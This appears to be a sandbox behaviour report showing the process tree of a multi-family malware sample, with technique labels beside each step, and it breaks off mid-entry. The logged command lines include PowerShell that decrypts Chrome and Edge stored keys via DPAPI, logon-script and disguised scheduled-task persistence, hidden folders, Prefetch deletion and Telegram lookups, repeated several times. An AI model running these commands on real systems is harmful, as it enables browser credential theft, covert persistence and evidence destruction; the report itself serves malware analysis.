                                                                                                                                                                                                            powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAL7e3Ik4UKt5F6q9U7/CsESFXcDYfIYJc0ud1btrLgNlAAAAAA6AAAAAAgAAIAAAAA/Hry+BsTfF9GmmAQ1vZCIPNXb4aWVdaUccXHzXTFnRMAAAALKeECq2QKym7BBoSDVLL6rQ4rb5R4fM8+mh1xipKrhtDDVxOCfrWPIAMBynJqruq0AAAABVllJdLkxoBiw4v2U92TLde7ZOF1OdN9yitxI+nqCzDD68f5nVWjm7PI2Glke/G4aA8d8wacddU82iUhi0Deqq'); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }"
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                            PID:4640
                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAxPfPRmojLapQHIye3KihZxQTcvqS+Jmmu1nYcPiT+P4AAAAADoAAAAACAAAgAAAAFZByz8DUWJLfnuGl3KIPWJG9zNl81pAjek1tGJt4WpAwAAAArpuW4Y7tKISRn8/IFl7F/MMLzu4knK2OfMPr6gKIc3lsTisbNlOQwGrhp/St/EDjQAAAAJnftYfscSeGs/LSL4YKcPpJTEoaCGGdHEyq16E/CNUSmWiNIDgYnxkoTpSKSbeNrWrKphLxx57eNpChjHRk2KY='); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }""
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                          • Network Service Discovery
                                                                                                                                                                                                          PID:5364
                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                            powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAxPfPRmojLapQHIye3KihZxQTcvqS+Jmmu1nYcPiT+P4AAAAADoAAAAACAAAgAAAAFZByz8DUWJLfnuGl3KIPWJG9zNl81pAjek1tGJt4WpAwAAAArpuW4Y7tKISRn8/IFl7F/MMLzu4knK2OfMPr6gKIc3lsTisbNlOQwGrhp/St/EDjQAAAAJnftYfscSeGs/LSL4YKcPpJTEoaCGGdHEyq16E/CNUSmWiNIDgYnxkoTpSKSbeNrWrKphLxx57eNpChjHRk2KY='); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }"
                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                            • Network Service Discovery
                                                                                                                                                                                                            PID:4568
                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                            PID:1856
                                                                                                                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                              wmic path win32_VideoController get name
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                              • Detects videocard installed
                                                                                                                                                                                                              PID:5044
                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Roaming\.30d8c25bcache""
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                            • Hide Artifacts: Hidden Files and Directories
                                                                                                                                                                                                            PID:1904
                                                                                                                                                                                                            • C:\Windows\system32\attrib.exe
                                                                                                                                                                                                              attrib +h +s "C:\Users\Admin\AppData\Roaming\.30d8c25bcache"
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                              • Views/modifies file attributes
                                                                                                                                                                                                              PID:4140
                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\.30d8c25bcache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /f"
                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                              PID:4896
                                                                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\.30d8c25bcache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /f
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                                                                                                                PID:3516
                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /f /tn "MicrosoftOfficeTelemetryUpdate" /tr "C:\Users\Admin\AppData\Roaming\.30d8c25bcache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /sc onlogon /rl highest"
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                PID:4776
                                                                                                                                                                                                                • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                  schtasks /create /f /tn "MicrosoftOfficeTelemetryUpdate" /tr "C:\Users\Admin\AppData\Roaming\.30d8c25bcache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /sc onlogon /rl highest
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                  • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                  PID:5436
                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\f_bffbeda303b129a7.dat""
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                • Hide Artifacts: Hidden Files and Directories
                                                                                                                                                                                                                PID:4104
                                                                                                                                                                                                                • C:\Windows\system32\attrib.exe
                                                                                                                                                                                                                  attrib +h +s "C:\Users\Admin\AppData\Local\Temp\f_bffbeda303b129a7.dat"
                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                  • Views/modifies file attributes
                                                                                                                                                                                                                  PID:4264
                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /d /s /c "reg delete "HKCU\Environment" /v UserInitMprLogonScript /f"
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:4312
                                                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                    reg delete "HKCU\Environment" /v UserInitMprLogonScript /f
                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                      PID:120
                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "del /q /f /s "%windir%\Prefetch\*.pf""
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                      PID:2928
                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "start "" "C:\Users\Admin\AppData\Local\Temp\sd_1784065413022.bat""
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                        PID:5900
                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\sd_1784065413022.bat"
                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                            PID:5752
                                                                                                                                                                                                                            • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                              timeout /t 5
                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                              • Delays execution with timeout.exe
                                                                                                                                                                                                                              PID:2604
                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\.30d8c25bcache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
                                                                                                                                                                                                                        C:\Users\Admin\AppData\Roaming\.30d8c25bcache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                        • Checks processor information in registry
                                                                                                                                                                                                                        PID:4632
                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "PID eq 3760" /FO CSV /NH"
                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                            PID:5664
                                                                                                                                                                                                                            • C:\Windows\system32\tasklist.exe
                                                                                                                                                                                                                              tasklist /FI "PID eq 3760" /FO CSV /NH
                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                              • Enumerates processes with tasklist
                                                                                                                                                                                                                              PID:3360
                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Telegram Desktop" /v "path""
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                              PID:5416
                                                                                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                reg query "HKCU\Software\Telegram Desktop" /v "path"
                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                  PID:1600
                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAL7e3Ik4UKt5F6q9U7/CsESFXcDYfIYJc0ud1btrLgNlAAAAAA6AAAAAAgAAIAAAAA/Hry+BsTfF9GmmAQ1vZCIPNXb4aWVdaUccXHzXTFnRMAAAALKeECq2QKym7BBoSDVLL6rQ4rb5R4fM8+mh1xipKrhtDDVxOCfrWPIAMBynJqruq0AAAABVllJdLkxoBiw4v2U92TLde7ZOF1OdN9yitxI+nqCzDD68f5nVWjm7PI2Glke/G4aA8d8wacddU82iUhi0Deqq'); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }""
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:6064
                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                    powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAL7e3Ik4UKt5F6q9U7/CsESFXcDYfIYJc0ud1btrLgNlAAAAAA6AAAAAAgAAIAAAAA/Hry+BsTfF9GmmAQ1vZCIPNXb4aWVdaUccXHzXTFnRMAAAALKeECq2QKym7BBoSDVLL6rQ4rb5R4fM8+mh1xipKrhtDDVxOCfrWPIAMBynJqruq0AAAABVllJdLkxoBiw4v2U92TLde7ZOF1OdN9yitxI+nqCzDD68f5nVWjm7PI2Glke/G4aA8d8wacddU82iUhi0Deqq'); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }"
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                    PID:1592
                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAxPfPRmojLapQHIye3KihZxQTcvqS+Jmmu1nYcPiT+P4AAAAADoAAAAACAAAgAAAAFZByz8DUWJLfnuGl3KIPWJG9zNl81pAjek1tGJt4WpAwAAAArpuW4Y7tKISRn8/IFl7F/MMLzu4knK2OfMPr6gKIc3lsTisbNlOQwGrhp/St/EDjQAAAAJnftYfscSeGs/LSL4YKcPpJTEoaCGGdHEyq16E/CNUSmWiNIDgYnxkoTpSKSbeNrWrKphLxx57eNpChjHRk2KY='); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }""
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                  • Network Service Discovery
                                                                                                                                                                                                                                  PID:4572
                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                    powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAxPfPRmojLapQHIye3KihZxQTcvqS+Jmmu1nYcPiT+P4AAAAADoAAAAACAAAgAAAAFZByz8DUWJLfnuGl3KIPWJG9zNl81pAjek1tGJt4WpAwAAAArpuW4Y7tKISRn8/IFl7F/MMLzu4knK2OfMPr6gKIc3lsTisbNlOQwGrhp/St/EDjQAAAAJnftYfscSeGs/LSL4YKcPpJTEoaCGGdHEyq16E/CNUSmWiNIDgYnxkoTpSKSbeNrWrKphLxx57eNpChjHRk2KY='); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }"
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                    • Network Service Discovery
                                                                                                                                                                                                                                    PID:1152
                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                    PID:4656
                                                                                                                                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                      wmic path win32_VideoController get name
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                      • Detects videocard installed
                                                                                                                                                                                                                                      PID:1668
                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Roaming\.5f0a147acache""
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                    • Hide Artifacts: Hidden Files and Directories
                                                                                                                                                                                                                                    PID:5048
                                                                                                                                                                                                                                    • C:\Windows\system32\attrib.exe
                                                                                                                                                                                                                                      attrib +h +s "C:\Users\Admin\AppData\Roaming\.5f0a147acache"
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                      • Views/modifies file attributes
                                                                                                                                                                                                                                      PID:2168
                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\.5f0a147acache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /f"
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                      PID:5232
                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                        reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\.5f0a147acache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /f
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                        • Registers new Windows logon scripts automatically executed at logon.
                                                                                                                                                                                                                                        PID:3312
                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /f /tn "MicrosoftOfficeTelemetryUpdate" /tr "C:\Users\Admin\AppData\Roaming\.5f0a147acache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /sc onlogon /rl highest"
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                        PID:4788
                                                                                                                                                                                                                                        • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                          schtasks /create /f /tn "MicrosoftOfficeTelemetryUpdate" /tr "C:\Users\Admin\AppData\Roaming\.5f0a147acache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe" /sc onlogon /rl highest
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                          PID:2704
                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /d /s /c "attrib +h +s "C:\Users\Admin\AppData\Local\Temp\f_1dc9a0bcca090cd3.dat""
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                        • Hide Artifacts: Hidden Files and Directories
                                                                                                                                                                                                                                        PID:4504
                                                                                                                                                                                                                                        • C:\Windows\system32\attrib.exe
                                                                                                                                                                                                                                          attrib +h +s "C:\Users\Admin\AppData\Local\Temp\f_1dc9a0bcca090cd3.dat"
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                          • Views/modifies file attributes
                                                                                                                                                                                                                                          PID:2628
                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /d /s /c "reg delete "HKCU\Environment" /v UserInitMprLogonScript /f"
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                          PID:1124
                                                                                                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                            reg delete "HKCU\Environment" /v UserInitMprLogonScript /f
                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                              PID:3480
                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /d /s /c "del /q /f /s "%windir%\Prefetch\*.pf""
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                              PID:5180
                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /d /s /c "start "" "C:\Users\Admin\AppData\Local\Temp\sd_1784065417391.bat""
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                PID:3224
                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\sd_1784065417391.bat"
                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                    PID:4848
                                                                                                                                                                                                                                                    • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                      timeout /t 5
                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                      • Delays execution with timeout.exe
                                                                                                                                                                                                                                                      PID:4672
                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\.5f0a147acache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Roaming\.5f0a147acache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                • Checks processor information in registry
                                                                                                                                                                                                                                                PID:4120
                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "PID eq 5784" /FO CSV /NH"
                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                    PID:5832
                                                                                                                                                                                                                                                    • C:\Windows\system32\tasklist.exe
                                                                                                                                                                                                                                                      tasklist /FI "PID eq 5784" /FO CSV /NH
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                      • Enumerates processes with tasklist
                                                                                                                                                                                                                                                      PID:4404
                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Telegram Desktop" /v "path""
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                      PID:5820
                                                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                                                        reg query "HKCU\Software\Telegram Desktop" /v "path"
                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                          PID:1132
                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAL7e3Ik4UKt5F6q9U7/CsESFXcDYfIYJc0ud1btrLgNlAAAAAA6AAAAAAgAAIAAAAA/Hry+BsTfF9GmmAQ1vZCIPNXb4aWVdaUccXHzXTFnRMAAAALKeECq2QKym7BBoSDVLL6rQ4rb5R4fM8+mh1xipKrhtDDVxOCfrWPIAMBynJqruq0AAAABVllJdLkxoBiw4v2U92TLde7ZOF1OdN9yitxI+nqCzDD68f5nVWjm7PI2Glke/G4aA8d8wacddU82iUhi0Deqq'); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }""
                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                          PID:4688
                                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                            powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAAL7e3Ik4UKt5F6q9U7/CsESFXcDYfIYJc0ud1btrLgNlAAAAAA6AAAAAAgAAIAAAAA/Hry+BsTfF9GmmAQ1vZCIPNXb4aWVdaUccXHzXTFnRMAAAALKeECq2QKym7BBoSDVLL6rQ4rb5R4fM8+mh1xipKrhtDDVxOCfrWPIAMBynJqruq0AAAABVllJdLkxoBiw4v2U92TLde7ZOF1OdN9yitxI+nqCzDD68f5nVWjm7PI2Glke/G4aA8d8wacddU82iUhi0Deqq'); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }"
                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                            PID:5656
                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "[void][System.Reflection.Assembly]::LoadWithPartialName('System.Security'); try { $data = [System.Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABhUMd+qrkkqFOcXDo7+GQRAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAxPfPRmojLapQHIye3KihZxQTcvqS+Jmmu1nYcPiT+P4AAAAADoAAAAACAAAgAAAAFZByz8DUWJLfnuGl3KIPWJG9zNl81pAjek1tGJt4WpAwAAAArpuW4Y7tKISRn8/IFl7F/MMLzu4knK2OfMPr6gKIc3lsTisbNlOQwGrhp/St/EDjQAAAAJnftYfscSeGs/LSL4YKcPpJTEoaCGGdHEyq16E/CNUSmWiNIDgYnxkoTpSKSbeNrWrKphLxx57eNpChjHRk2KY='); $entropy = $null; $unprotected = [System.Security.Cryptography.ProtectedData]::Unprotect( $data, $entropy, [System.Security.Cryptography.DataProtectionScope]::CurrentUser ); if ($unprotected -ne $null -and $unprotected.Length -gt 0) { [System.Convert]::ToBase64String($unprotected); } else { exit(1); } } catch { exit(1); }""
                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                          • Network Service Discovery
                                                                                                                                                                                                                                                          PID:2884
                                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
